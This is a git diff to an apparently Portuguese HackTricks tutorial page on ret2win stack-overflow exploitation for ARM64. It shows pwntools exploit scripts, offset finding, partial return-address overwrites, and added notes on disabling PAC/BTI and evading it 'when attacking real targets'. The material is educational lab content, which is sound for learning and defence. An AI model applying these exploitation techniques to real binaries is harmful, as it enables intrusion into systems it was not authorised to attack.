diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 2f3c31e53..ca1e5a6fd 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -4,6 +4,7 @@ Encontre uma introdução ao arm64 em: + {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} @@ -27,17 +28,29 @@ vulnerable_function(); return 0; } ``` -Compile sem pie e canário: +Compilar sem pie e canary: ```bash -clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie +clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none ``` +- A flag extra `-mbranch-protection=none` desativa o AArch64 Branch Protection (PAC/BTI). Se sua toolchain por padrão habilita PAC ou BTI, isso mantém o lab reproduzível. Para verificar se um binário compilado usa PAC/BTI você pode: +- Procure por AArch64 GNU properties: +- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'` +- Inspecione prólogos/epílogos por `paciasp`/`autiasp` (PAC) ou por landing pads `bti c` (BTI): +- `objdump -d ret2win | head -n 40` + +### Fatos rápidos sobre a convenção de chamada AArch64 + +- O registrador de link é `x30` (a.k.a. `lr`), e funções tipicamente salvam `x29`/`x30` com `stp x29, x30, [sp, #-16]!` e os restauram com `ldp x29, x30, [sp], #16; ret`. +- Isso significa que o endereço de retorno salvo vive em `sp+8` relativo à base do frame. Com um `char buffer[64]` colocado abaixo, a distância usual para sobrescrever o `x30` salvo é 64 (buffer) + 8 (x29 salvo) = 72 bytes — exatamente o que veremos abaixo. +- O stack pointer deve permanecer alinhado a 16 bytes nas fronteiras de função. Se você construir ROP chains mais tarde para cenários mais complexos, mantenha o alinhamento do SP ou pode travar nos epílogos das funções. + ## Encontrando o offset -### Opção de padrão +### Opção pattern Este exemplo foi criado usando [**GEF**](https://github.com/bata24/gef): -Inicie o gdb com gef, crie um padrão e use-o: +Inicie o gdb com gef, crie um pattern e use-o: ```bash gdb -q ./ret2win pattern create 200 @@ -45,17 +58,17 @@ run ```
-arm64 tentará retornar ao endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o deslocamento do padrão: +arm64 tentará retornar para o endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o offset do padrão: ```bash pattern search $x30 ```
-**O deslocamento é 72 (9x48).** +**The offset is 72 (9x48).** -### Opção de deslocamento da pilha +### Opção de Stack offset -Comece obtendo o endereço da pilha onde o registrador pc está armazenado: +Comece obtendo o endereço da stack onde o registrador pc está armazenado: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc @@ -64,14 +77,14 @@ info frame ```
-Agora defina um ponto de interrupção após o `read()` e continue até que o `read()` seja executado e defina um padrão como 13371337: +Agora defina um breakpoint depois do `read()` e continue até que o `read()` seja executado e defina um padrão como 13371337: ``` b *vulnerable_function+28 c ```
-Encontre onde esse padrão está armazenado na memória: +Encontre onde esse padrão é armazenado na memória:
@@ -96,6 +109,8 @@ from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) +# Optional but nice for AArch64 +context.arch = 'aarch64' # Prepare the payload offset = 72 @@ -113,7 +128,7 @@ p.close() ### Off-by-1 -Na verdade, isso vai ser mais como um off-by-2 no PC armazenado na pilha. Em vez de sobrescrever todo o endereço de retorno, vamos sobrescrever **apenas os últimos 2 bytes** com `0x06c4`. +Na verdade, isto vai ser mais como um off-by-2 no PC armazenado na stack. Em vez de sobrescrever todo o return address, vamos sobrescrever **apenas os últimos 2 bytes** com `0x06c4`. ```python from pwn import * @@ -135,7 +150,7 @@ p.close() ```
-Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que é um verdadeiro off-by-**one** em uma vulnerabilidade fictícia. +Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que é um off-by-**one** real em uma vulnerabilidade fictícia. ## Com PIE @@ -144,7 +159,7 @@ Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/a ### Off-by-2 -Sem um leak, não sabemos o endereço exato da função vencedora, mas podemos saber o deslocamento da função em relação ao binário e sabendo que o endereço de retorno que estamos sobrescrevendo já está apontando para um endereço próximo, é possível vazar o deslocamento para a função win (**0x7d4**) neste caso e apenas usar esse deslocamento: +Sem um leak não sabemos o endereço exato da win function, mas podemos conhecer o offset da função dentro do binário e, sabendo que o return address que estamos sobrescrevendo já aponta para um endereço próximo, é possível obter o leak do offset para a win function (**0x7d4**) neste caso e simplesmente usar esse offset:
```python @@ -166,4 +181,45 @@ p.send(payload) print(p.recvline()) p.close() ``` +### Notas sobre hardening moderno AArch64 (PAC/BTI) e ret2win + +- Se o binário for compilado com AArch64 Branch Protection, você pode ver `paciasp`/`autiasp` ou `bti c` emitidos em prólogos/epílogos de função. Nesse caso: +- Retornar para um endereço que não seja um BTI landing pad válido pode provocar um `SIGILL`. Prefira direcionar para a entrada exata da função que contém `bti c`. +- If PAC is enabled for returns, naive return‑address overwrites may fail because the epilogue authenticates `x30`. For learning scenarios, rebuild with `-mbranch-protection=none` (shown above). When attacking real targets, prefer non‑return hijacks (e.g., function pointer overwrites) or build ROP that never executes an `autiasp`/`ret` pair that authenticates your forged LR. +- Para verificar os recursos rapidamente: +- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes. +- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`. + +### Running on non‑ARM64 hosts (qemu‑user quick tip) + +If you are on x86_64 but want to practice AArch64: +```bash +# Install qemu-user and AArch64 libs (Debian/Ubuntu) +sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross + +# Run the binary with the AArch64 loader environment +qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win + +# Debug with GDB (qemu-user gdbstub) +qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win & +# In another terminal +gdb-multiarch ./ret2win -ex 'target remote :1234' +``` +### Páginas relacionadas do HackTricks + +- +{{#ref}} +../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +{{#endref}} +- +{{#ref}} +../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +{{#endref}} + + + +## Referências + +- Habilitando PAC e BTI no AArch64 para Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux +- Padrão de Chamada de Procedimento para a Arquitetura Arm de 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst {{#include ../../../banners/hacktricks-training.md}}